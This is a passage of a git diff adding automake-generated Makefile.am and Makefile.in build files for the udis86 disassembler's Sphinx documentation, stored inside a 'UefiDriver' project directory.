"$$dir1" | sed -e "$$sed_rest"`; \ + done; \ + reldir="$$dir2" +ACLOCAL = @ACLOCAL@ +ACLOCAL_AMFLAGS = @ACLOCAL_AMFLAGS@ +AMTAR = @AMTAR@ +AM_DEFAULT_VERBOSITY = @AM_DEFAULT_VERBOSITY@ +AR = @AR@ +AS = @AS@ +AUTOCONF = @AUTOCONF@ +AUTOHEADER = @AUTOHEADER@ +AUTOMAKE = @AUTOMAKE@ +AWK = @AWK@ +CC = @CC@ +CCDEPMODE = @CCDEPMODE@ +CFLAGS = @CFLAGS@ +CPP = @CPP@ +CPPFLAGS = @CPPFLAGS@ +CYGPATH_W = @CYGPATH_W@ +DEFS = @DEFS@ +DEPDIR = @DEPDIR@ +DLLTOOL = @DLLTOOL@ +DSYMUTIL = @DSYMUTIL@ +DUMPBIN = @DUMPBIN@ +ECHO_C = @ECHO_C@ +ECHO_N = @ECHO_N@ +ECHO_T = @ECHO_T@ +EGREP = @EGREP@ +EXEEXT = @EXEEXT@ +FGREP = @FGREP@ +GREP = @GREP@ +INSTALL = @INSTALL@ +INSTALL_DATA = @INSTALL_DATA@ +INSTALL_PROGRAM = @INSTALL_PROGRAM@ +INSTALL_SCRIPT = @INSTALL_SCRIPT@ +INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@ +LD = @LD@ +LDFLAGS = @LDFLAGS@ +LIBOBJS = @LIBOBJS@ +LIBS = @LIBS@ +LIBTOOL = @LIBTOOL@ +LIPO = @LIPO@ +LN_S = @LN_S@ +LTLIBOBJS = @LTLIBOBJS@ +MAKEINFO = @MAKEINFO@ +MANIFEST_TOOL = @MANIFEST_TOOL@ +MKDIR_P = @MKDIR_P@ +NM = @NM@ +NMEDIT = @NMEDIT@ +OBJDUMP = @OBJDUMP@ +OBJEXT = @OBJEXT@ +OTOOL = @OTOOL@ +OTOOL64 = @OTOOL64@ +PACKAGE = @PACKAGE@ +PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@ +PACKAGE_NAME = @PACKAGE_NAME@ +PACKAGE_STRING = @PACKAGE_STRING@ +PACKAGE_TARNAME = @PACKAGE_TARNAME@ +PACKAGE_URL = @PACKAGE_URL@ +PACKAGE_VERSION = @PACKAGE_VERSION@ +PATH_SEPARATOR = @PATH_SEPARATOR@ +PYTHON = @PYTHON@ +RANLIB = @RANLIB@ +SED = @SED@ +SET_MAKE = @SET_MAKE@ +SHELL = @SHELL@ +SPHINX_BUILD = @SPHINX_BUILD@ +SPHINX_VERSION = @SPHINX_VERSION@ +STRIP = @STRIP@ +VERSION = @VERSION@ +YASM = @YASM@ +YASM_VERSION = @YASM_VERSION@ +abs_builddir = @abs_builddir@ +abs_srcdir = @abs_srcdir@ +abs_top_builddir = @abs_top_builddir@ +abs_top_srcdir = @abs_top_srcdir@ +ac_ct_AR = @ac_ct_AR@ +ac_ct_CC = @ac_ct_CC@ +ac_ct_DUMPBIN = @ac_ct_DUMPBIN@ +am__include = @am__include@ +am__leading_dot = @am__leading_dot@ +am__quote = @am__quote@ +am__tar = @am__tar@ +am__untar = @am__untar@ +bindir = @bindir@ +build = @build@ +build_alias = @build_alias@ +build_cpu = @build_cpu@ +build_os = @build_os@ +build_vendor = @build_vendor@ +builddir = @builddir@ +datadir = @datadir@ +datarootdir = @datarootdir@ +docdir = @docdir@ +dvidir = @dvidir@ +exec_prefix = @exec_prefix@ +host = @host@ +host_alias = @host_alias@ +host_cpu = @host_cpu@ +host_os = @host_os@ +host_vendor = @host_vendor@ +htmldir = @htmldir@ +includedir = @includedir@ +infodir = @infodir@ +install_sh = @install_sh@ +libdir = @libdir@ +libexecdir = @libexecdir@ +localedir = @localedir@ +localstatedir = @localstatedir@ +mandir = @mandir@ +mkdir_p = @mkdir_p@ +oldincludedir = @oldincludedir@ +pdfdir = @pdfdir@ +prefix = @prefix@ +program_transform_name = @program_transform_name@ +psdir = @psdir@ +sbindir = @sbindir@ +sharedstatedir = @sharedstatedir@ +srcdir = @srcdir@ +sysconfdir = @sysconfdir@ +target_alias = @target_alias@ +top_build_prefix = @top_build_prefix@ +top_builddir = @top_builddir@ +top_srcdir = @top_srcdir@ +SUBDIRS = x86 manual +MAINTAINERCLEANFILES = Makefile.in +all: all-recursive + +.SUFFIXES: +$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) + @for dep in $?; do \ + case '$(am__configure_deps)' in \ + *$$dep*) \ + ( cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh ) \ + && { if test -f $@; then exit 0; else break; fi; }; \ + exit 1;; \ + esac; \ + done; \ + echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign docs/Makefile'; \ + $(am__cd) $(top_srcdir) && \ + $(AUTOMAKE) --foreign docs/Makefile +.PRECIOUS: Makefile +Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status + @case '$?' in \ + *config.status*) \ + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ + *) \ + echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \ + cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \ + esac; + +$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES) + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh + +$(top_srcdir)/configure: $(am__configure_deps) + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh +$(ACLOCAL_M4): $(am__aclocal_m4_deps) + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh +$(am__aclocal_m4_deps): + +mostlyclean-libtool: + -rm -f *.lo + +clean-libtool: + -rm -rf .libs _libs + +# This directory's subdirectories are mostly independent; you can cd +# into them and run 'make' without going through this Makefile. +# To change the values of 'make' variables: instead of editing Makefiles, +# (1) if the variable is set in 'config.status', edit 'config.status' +# (which will cause the Makefiles to be regenerated when you run 'make'); +# (2) otherwise, pass the desired values on the 'make' command line. +$(am__recursive_targets): + @fail= failcom='exit 1'; \ + for f in x $$MAKEFLAGS; do \ + case $$f in \ + *=* | --[!k]*);; \ + *k*) failcom='fail=yes';; \ + esac; \ + done; \ + dot_seen=no; \ + target=`echo $@ | sed s/-recursive//`; \ + case "$@" in \ + distclean-* | maintainer-clean-*) list='$(DIST_SUBDIRS)' ;; \ + *) list='$(SUBDIRS)' ;; \ + esac; \ + for subdir in $$list; do \ + echo "Making $$target in $$subdir"; \ + if test "$$subdir" = "."; then \ + dot_seen=yes; \ + local_target="$$target-am"; \ + else \ + local_target="$$target"; \ + fi; \ + ($(am__cd) $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \ + || eval $$failcom; \ + done; \ + if test "$$dot_seen" = "no"; then \ + $(MAKE) $(AM_MAKEFLAGS) "$$target-am" || exit 1; \ + fi; test -z "$$fail" + +ID: $(am__tagged_files) + $(am__define_uniq_tagged_files); mkid -fID $$unique +tags: tags-recursive +TAGS: tags + +tags-am: $(TAGS_DEPENDENCIES) $(am__tagged_files) + set x; \ + here=`pwd`; \ + if ($(ETAGS) --etags-include --version) >/dev/null 2>&1; then \ + include_option=--etags-include; \ + empty_fix=.; \ + else \ + include_option=--include; \ + empty_fix=; \ + fi; \ + list='$(SUBDIRS)'; for subdir in $$list; do \ + if test "$$subdir" = .; then :; else \ + test ! -f $$subdir/TAGS || \ + set "$$@" "$$include_option=$$here/$$subdir/TAGS"; \ + fi; \ + done; \ + $(am__define_uniq_tagged_files); \ + shift; \ + if test -z "$(ETAGS_ARGS)$$*$$unique"; then :; else \ + test -n "$$unique" || unique=$$empty_fix; \ + if test $$# -gt 0; then \ + $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ + "$$@" $$unique; \ + else \ + $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ + $$unique; \ + fi; \ + fi +ctags: ctags-recursive + +CTAGS: ctags +ctags-am: $(TAGS_DEPENDENCIES) $(am__tagged_files) + $(am__define_uniq_tagged_files); \ + test -z "$(CTAGS_ARGS)$$unique" \ + || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ + $$unique + +GTAGS: + here=`$(am__cd) $(top_builddir) && pwd` \ + && $(am__cd) $(top_srcdir) \ + && gtags -i $(GTAGS_ARGS) "$$here" +cscopelist: cscopelist-recursive + +cscopelist-am: $(am__tagged_files) + list='$(am__tagged_files)'; \ + case "$(srcdir)" in \ + [\\/]* | ?:[\\/]*) sdir="$(srcdir)" ;; \ + *) sdir=$(subdir)/$(srcdir) ;; \ + esac; \ + for i in $$list; do \ + if test -f "$$i"; then \ + echo "$(subdir)/$$i"; \ + else \ + echo "$$sdir/$$i"; \ + fi; \ + done >> $(top_builddir)/cscope.files + +distclean-tags: + -rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags + +distdir: $(DISTFILES) + @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ + topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ + list='$(DISTFILES)'; \ + dist_files=`for file in $$list; do echo $$file; done | \ + sed -e "s|^$$srcdirstrip/||;t" \ + -e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \ + case $$dist_files in \ + */*) $(MKDIR_P) `echo "$$dist_files" | \ + sed '/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \ + sort -u` ;; \ + esac; \ + for file in $$dist_files; do \ + if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \ + if test -d $$d/$$file; then \ + dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \ + if test -d "$(distdir)/$$file"; then \ + find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ + fi; \ + if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ + cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \ + find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ + fi; \ + cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \ + else \ + test -f "$(distdir)/$$file" \ + || cp -p $$d/$$file "$(distdir)/$$file" \ + || exit 1; \ + fi; \ + done + @list='$(DIST_SUBDIRS)'; for subdir in $$list; do \ + if test "$$subdir" = .; then :; else \ + $(am__make_dryrun) \ + || test -d "$(distdir)/$$subdir" \ + || $(MKDIR_P) "$(distdir)/$$subdir" \ + || exit 1; \ + dir1=$$subdir; dir2="$(distdir)/$$subdir"; \ + $(am__relativize); \ + new_distdir=$$reldir; \ + dir1=$$subdir; dir2="$(top_distdir)"; \ + $(am__relativize); \ + new_top_distdir=$$reldir; \ + echo " (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) top_distdir="$$new_top_distdir" distdir="$$new_distdir" \\"; \ + echo " am__remove_distdir=: am__skip_length_check=: am__skip_mode_fix=: distdir)"; \ + ($(am__cd) $$subdir && \ + $(MAKE) $(AM_MAKEFLAGS) \ + top_distdir="$$new_top_distdir" \ + distdir="$$new_distdir" \ + am__remove_distdir=: \ + am__skip_length_check=: \ + am__skip_mode_fix=: \ + distdir) \ + || exit 1; \ + fi; \ + done +check-am: all-am +check: check-recursive +all-am: Makefile +installdirs: installdirs-recursive +installdirs-am: +install: install-recursive +install-exec: install-exec-recursive +install-data: install-data-recursive +uninstall: uninstall-recursive + +install-am: all-am + @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am + +installcheck: installcheck-recursive +install-strip: + if test -z '$(STRIP)'; then \ + $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ + install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ + install; \ + else \ + $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ + install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ + "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'" install; \ + fi +mostlyclean-generic: + +clean-generic: + +distclean-generic: + -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) + -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) + +maintainer-clean-generic: + @echo "This command is intended for maintainers to use" + @echo "it deletes files that may require special tools to rebuild." + -test -z "$(MAINTAINERCLEANFILES)" || rm -f $(MAINTAINERCLEANFILES) +clean: clean-recursive + +clean-am: clean-generic clean-libtool mostlyclean-am + +distclean: distclean-recursive + -rm -f Makefile +distclean-am: clean-am distclean-generic distclean-tags + +dvi: dvi-recursive + +dvi-am: + +html: html-recursive + +html-am: + +info: info-recursive + +info-am: + +install-data-am: + +install-dvi: install-dvi-recursive + +install-dvi-am: + +install-exec-am: + +install-html: install-html-recursive + +install-html-am: + +install-info: install-info-recursive + +install-info-am: + +install-man: + +install-pdf: install-pdf-recursive + +install-pdf-am: + +install-ps: install-ps-recursive + +install-ps-am: + +installcheck-am: + +maintainer-clean: maintainer-clean-recursive + -rm -f Makefile +maintainer-clean-am: distclean-am maintainer-clean-generic + +mostlyclean: mostlyclean-recursive + +mostlyclean-am: mostlyclean-generic mostlyclean-libtool + +pdf: pdf-recursive + +pdf-am: + +ps: ps-recursive + +ps-am: + +uninstall-am: + +.MAKE: $(am__recursive_targets) install-am install-strip + +.PHONY: $(am__recursive_targets) CTAGS GTAGS TAGS all all-am check \ + check-am clean clean-generic clean-libtool cscopelist-am ctags \ + ctags-am distclean distclean-generic distclean-libtool \ + distclean-tags distdir dvi dvi-am html html-am info info-am \ + install install-am install-data install-data-am install-dvi \ + install-dvi-am install-exec install-exec-am install-html \ + install-html-am install-info install-info-am install-man \ + install-pdf install-pdf-am install-ps install-ps-am \ + install-strip installcheck installcheck-am installdirs \ + installdirs-am maintainer-clean maintainer-clean-generic \ + mostlyclean mostlyclean-generic mostlyclean-libtool pdf pdf-am \ + ps ps-am tags tags-am uninstall uninstall-am + + +# Tell versions [3.59,3.63) of GNU make to not export all variables. +# Otherwise a system limit (for SysV at least) may be exceeded. +.NOEXPORT: diff --git a/UefiDriver/udis86/docs/manual/Makefile.am b/UefiDriver/udis86/docs/manual/Makefile.am new file mode 100644 index 0000000..595dbe1 --- /dev/null +++ b/UefiDriver/udis86/docs/manual/Makefile.am @@ -0,0 +1,56 @@ +docdir = ${datadir}/docs/udis86/manual + +rst_sources = \ + index.rst \ + getstarted.rst \ + libudis86.rst + +# +# The official distribution only contains the rst files. So users +# may generate documentation using Sphinx if they wish to. +# +EXTRA_DIST = \ + $(rst_sources) \ + udis86.info \ + conf.py \ + static + +MAINTAINERCLEANFILES = \ + Makefile.in \ + udis86.info + +if HAVE_SPHINX_DOC + +html-local: + $(SPHINX_BUILD) -c $(srcdir) -b html $(srcdir) $(builddir)/html + +udis86.info: $(rst_sources) + $(SPHINX_BUILD) -E -c $(srcdir) -b texinfo $(srcdir) $(builddir)/texinfo + $(MAKEINFO) --no-split $(builddir)/texinfo/udis86.texi + +check-local: html-local + +else + +udis86.info: $(rst_sources) +html-local udis86.info: + @echo "" + @echo "------------------------------------------------------------------" + @echo "" + @echo " Please make sure you have Sphinx (sphinx-doc.org) version 1.1.3" + @echo " or above, to be able to build documentation." + @echo "" + @echo " You can also find documentation at http://udis86.sourceforge.net/" + @echo "" + @echo "------------------------------------------------------------------" + @echo "" + @exit 1 + +endif + +install-info-local: udis86.info + install-info --info-dir=$(infodir) $< + +clean-local: + -rm -rf $(builddir)/html + -rm -rf $(builddir)/texinfo $(builddir)/udis86.info diff --git a/UefiDriver/udis86/docs/manual/Makefile.in b/UefiDriver/udis86/docs/manual/Makefile.in new file mode 100644 index 0000000..a1c8c04 --- /dev/null +++ b/UefiDriver/udis86/docs/manual/Makefile.in @@ -0,0 +1,461 @@ +# Makefile.in generated by automake 1.13.1 from Makefile.am. +# @configure_input@ + +# Copyright (C) 1994-2012 Free Software Foundation, Inc. + +# This Makefile.in is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY, to the extent permitted by law; without +# even the implied warranty of MERCHANTABILITY or FITNESS FOR A +# PARTICULAR PURPOSE. + +@SET_MAKE@ +VPATH = @srcdir@ +am__make_dryrun = \ + { \ + am__dry=no; \ + case $$MAKEFLAGS in \ + *\\[\ \ ]*) \ + echo 'am--echo: ; @echo "AM" OK' | $(MAKE) -f - 2>/dev/null \ + | grep '^AM OK$$' >/dev/null || am__dry=yes;; \ + *) \ + for am__flg in $$MAKEFLAGS; do \ + case $$am__flg in \ + *=*|--*) ;; \ + *n*) am__dry=yes; break;; \ + esac; \ + done;; \ + esac; \ + test $$am__dry = yes; \ + } +pkgdatadir = $(datadir)/@PACKAGE@ +pkgincludedir = $(includedir)/@PACKAGE@ +pkglibdir = $(libdir)/@PACKAGE@ +pkglibexecdir = $(libexecdir)/@PACKAGE@ +am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd +install_sh_DATA = $(install_sh) -c -m 644 +install_sh_PROGRAM = $(install_sh) -c +install_sh_SCRIPT = $(install_sh) -c +INSTALL_HEADER = $(INSTALL_DATA) +transform = $(program_transform_name) +NORMAL_INSTALL = : +PRE_INSTALL = : +POST_INSTALL = : +NORMAL_UNINSTALL = : +PRE_UNINSTALL = : +POST_UNINSTALL = : +build_triplet = @build@ +host_triplet = @host@ +subdir = docs/manual +DIST_COMMON = $(srcdir)/Makefile.in $(srcdir)/Makefile.am +ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 +am__aclocal_m4_deps = $(top_srcdir)/build/m4/libtool.m4 \ + $(top_srcdir)/build/m4/ltoptions.m4 \ + $(top_srcdir)/build/m4/ltsugar.m4 \ + $(top_srcdir)/build/m4/ltversion.m4 \ + $(top_srcdir)/build/m4/lt~obsolete.m4 \ + $(top_srcdir)/m4/ax_compare_version.m4 \ + $(top_srcdir)/m4/ax_prog_sphinx_version.m4 \ + $(top_srcdir)/m4/ax_prog_yasm_version.m4 \ + $(top_srcdir)/m4/ax_with_prog.m4 \ + $(top_srcdir)/m4/ax_with_python.m4 $(top_srcdir)/configure.ac +am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ + $(ACLOCAL_M4) +mkinstalldirs = $(install_sh) -d +CONFIG_HEADER = $(top_builddir)/config.h +CONFIG_CLEAN_FILES = +CONFIG_CLEAN_VPATH_FILES = +AM_V_P = $(am__v_P_@AM_V@) +am__v_P_ = $(am__v_P_@AM_DEFAULT_V@) +am__v_P_0 = false +am__v_P_1 = : +AM_V_GEN = $(am__v_GEN_@AM_V@) +am__v_GEN_ = $(am__v_GEN_@AM_DEFAULT_V@) +am__v_GEN_0 = @echo " GEN " $@; +am__v_GEN_1 = +AM_V_at = $(am__v_at_@AM_V@) +am__v_at_ = $(am__v_at_@AM_DEFAULT_V@) +am__v_at_0 = @ +am__v_at_1 = +SOURCES = +DIST_SOURCES = +am__can_run_installinfo = \ + case $$AM_UPDATE_INFO_DIR in \ + n|no|NO) false;; \ + *) (install-info --version) >/dev/null 2>&1;; \ + esac +am__tagged_files = $(HEADERS) $(SOURCES) $(TAGS_FILES) $(LISP) +DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) +ACLOCAL = @ACLOCAL@ +ACLOCAL_AMFLAGS = @ACLOCAL_AMFLAGS@ +AMTAR = @AMTAR@ +AM_DEFAULT_VERBOSITY = @AM_DEFAULT_VERBOSITY@ +AR = @AR@ +AS = @AS@ +AUTOCONF = @AUTOCONF@ +AUTOHEADER = @AUTOHEADER@ +AUTOMAKE = @AUTOMAKE@ +AWK = @AWK@ +CC = @CC@ +CCDEPMODE = @CCDEPMODE@ +CFLAGS = @CFLAGS@ +CPP = @CPP@ +CPPFLAGS = @CPPFLAGS@ +CYGPATH_W = @CYGPATH_W@ +DEFS = @DEFS@ +DEPDIR = @DEPDIR@ +DLLTOOL = @DLLTOOL@ +DSYMUTIL = @DSYMUTIL@ +DUMPBIN = @DUMPBIN@ +ECHO_C = @ECHO_C@ +ECHO_N = @ECHO_N@ +ECHO_T = @ECHO_T@ +EGREP = @EGREP@ +EXEEXT = @EXEEXT@ +FGREP = @FGREP@ +GREP = @GREP@ +INSTALL = @INSTALL@ +INSTALL_DATA = @INSTALL_DATA@ +INSTALL_PROGRAM = @INSTALL_PROGRAM@ +INSTALL_SCRIPT = @INSTALL_SCRIPT@ +INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@ +LD = @LD@ +LDFLAGS = @LDFLAGS@ +LIBOBJS = @LIBOBJS@ +LIBS = @LIBS@ +LIBTOOL = @LIBTOOL@ +LIPO = @LIPO@ +LN_S = @LN_S@ +LTLIBOBJS = @LTLIBOBJS@ +MAKEINFO = @MAKEINFO@ +MANIFEST_TOOL = @MANIFEST_TOOL@ +MKDIR_P = @MKDIR_P@ +NM = @NM@ +NMEDIT = @NMEDIT@ +OBJDUMP = @OBJDUMP@ +OBJEXT = @OBJEXT@ +OTOOL = @OTOOL@ +OTOOL64 = @OTOOL64@ +PACKAGE = @PACKAGE@ +PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@ +PACKAGE_NAME = @PACKAGE_NAME@ +PACKAGE_STRING = @PACKAGE_STRING@ +PACKAGE_TARNAME = @PACKAGE_TARNAME@ +PACKAGE_URL = @PACKAGE_URL@ +PACKAGE_VERSION = @PACKAGE_VERSION@ +PATH_SEPARATOR = @PATH_SEPARATOR@ +PYTHON = @PYTHON@ +RANLIB = @RANLIB@ +SED = @SED@ +SET_MAKE = @SET_MAKE@ +SHELL = @SHELL@ +SPHINX_BUILD = @SPHINX_BUILD@ +SPHINX_VERSION = @SPHINX_VERSION@ +STRIP = @STRIP@ +VERSION = @VERSION@ +YASM = @YASM@ +YASM_VERSION = @YASM_VERSION@ +abs_builddir = @abs_builddir@ +abs_srcdir = @abs_srcdir@ +abs_top_builddir = @abs_top_builddir@ +abs_top_srcdir = @abs_top_srcdir@ +ac_ct_AR = @ac_ct_AR@ +ac_ct_CC = @ac_ct_CC@ +ac_ct_DUMPBIN = @ac_ct_DUMPBIN@ +am__include = @am__include@ +am__leading_dot = @am__leading_dot@ +am__quote = @am__quote@ +am__tar = @am__tar@ +am__untar = @am__untar@ +bindir = @bindir@ +build = @build@ +build_alias = @build_alias@ +build_cpu = @build_cpu@ +build_os = @build_os@ +build_vendor = @build_vendor@ +builddir = @builddir@ +datadir = @datadir@ +datarootdir = @datarootdir@ +docdir = ${datadir}/docs/udis86/manual +dvidir = @dvidir@ +exec_prefix = @exec_prefix@ +host = @host@ +host_alias = @host_alias@ +host_cpu = @host_cpu@ +host_os = @host_os@ +host_vendor = @host_vendor@ +htmldir = @htmldir@ +includedir = @includedir@ +infodir = @infodir@ +install_sh = @install_sh@ +libdir = @libdir@ +libexecdir = @libexecdir@ +localedir = @localedir@ +localstatedir = @localstatedir@ +mandir = @mandir@ +mkdir_p = @mkdir_p@ +oldincludedir = @oldincludedir@ +pdfdir = @pdfdir@ +prefix = @prefix@ +program_transform_name = @program_transform_name@ +psdir = @psdir@ +sbindir = @sbindir@ +sharedstatedir = @sharedstatedir@ +srcdir = @srcdir@ +sysconfdir = @sysconfdir@ +target_alias = @target_alias@ +top_build_prefix = @top_build_prefix@ +top_builddir = @top_builddir@ +top_srcdir = @top_srcdir@ +rst_sources = \ + index.rst \ + getstarted.rst \ + libudis86.rst + + +# +# The official distribution only contains the rst files. So users +# may generate documentation using Sphinx if they wish to. +# +EXTRA_DIST = \ + $(rst_sources) \ + udis86.info \ + conf.py \ + static + +MAINTAINERCLEANFILES = \ + Makefile.in \ + udis86.info + +all: all-am + +.SUFFIXES: +$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) + @for dep in $?; do \ + case '$(am__configure_deps)' in \ + *$$dep*) \ + ( cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh ) \ + && { if test -f $@; then exit 0; else break; fi; }; \ + exit 1;; \ + esac; \ + done; \ + echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign docs/manual/Makefile'; \ + $(am__cd) $(top_srcdir) && \ + $(AUTOMAKE) --foreign docs/manual/Makefile +.PRECIOUS: Makefile +Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status + @case '$?' in \ + *config.status*) \ + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ + *) \ + echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \ + cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \ + esac; + +$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES) + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh + +$(top_srcdir)/configure: $(am__configure_deps) + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh +$(ACLOCAL_M4): $(am__aclocal_m4_deps) + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh +$(am__aclocal_m4_deps): + +mostlyclean-libtool: + -rm -f *.lo + +clean-libtool: + -rm -rf .libs _libs +tags TAGS: + +ctags CTAGS: + +cscope cscopelist: + + +distdir: $(DISTFILES) + @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ + topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ + list='$(DISTFILES)'; \ + dist_files=`for file in $$list; do echo $$file; done | \ + sed -e "s|^$$srcdirstrip/||;t" \ + -e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \ + case $$dist_files in \ + */*) $(MKDIR_P) `echo "$$dist_files" | \ + sed '/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \ + sort -u` ;; \ + esac; \ + for file in $$dist_files; do \ + if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \ + if test -d $$d/$$file; then \ + dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \ + if test -d "$(distdir)/$$file"; then \ + find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ + fi; \ + if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ + cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \ + find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ + fi; \ + cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \ + else \ + test -f "$(distdir)/$$file" \ + || cp -p $$d/$$file "$(distdir)/$$file" \ + || exit 1; \ + fi; \ + done +@HAVE_SPHINX_DOC_FALSE@check-local: +check-am: all-am + $(MAKE) $(AM_MAKEFLAGS) check-local +check: check-am +all-am: Makefile +installdirs: +install: install-am +install-exec: install-exec-am +install-data: install-data-am +uninstall: uninstall-am + +install-am: all-am + @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am + +installcheck: installcheck-am +install-strip: + if test -z '$(STRIP)'; then \ + $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ + install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ + install; \ + else \ + $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ + install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ + "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'" install; \ + fi +mostlyclean-generic: + +clean-generic: + +distclean-generic: + -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) + -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) + +maintainer-clean-generic: + @echo "This command is intended for maintainers to use" + @echo "it deletes files that may require special tools to rebuild." + -test -z "$(MAINTAINERCLEANFILES)" || rm -f $(MAINTAINERCLEANFILES) +@HAVE_SPHINX_DOC_FALSE@html-local: +clean: clean-am + +clean-am: clean-generic clean-libtool clean-local mostlyclean-am + +distclean: distclean-am + -rm -f Makefile +distclean-am: clean-am distclean-generic + +dvi: dvi-am + +dvi-am: + +html: html-am + +html-am: html-local + +info: info-am + +info-am: + +install-data-am: + +install-dvi: install-dvi-am + +install-dvi-am: + +install-exec-am: + +install-html: install-html-am + +install-html-am: + +install-info: install-info-am + +install-info-am: install-info-local + +install-man: + +install-pdf: install-pdf-am + +install-pdf-am: + +install-ps: install-ps-am + +install-ps-am: + +installcheck-am: + +maintainer-clean: maintainer-clean-am + -rm -f Makefile +maintainer-clean-am: distclean-am maintainer-clean-generic + +mostlyclean: mostlyclean-am + +mostlyclean-am: mostlyclean-generic mostlyclean-libtool + +pdf: pdf-am + +pdf-am: + +ps: ps-am + +ps-am: + +uninstall-am: + +.MAKE: check-am install-am install-strip + +.PHONY: all all-am check check-am check-local clean clean-generic \ + clean-libtool clean-local cscopelist-am ctags-am distclean \ + distclean-generic distclean-libtool distdir dvi dvi-am html \ + html-am html-local info info-am install install-am \ + install-data 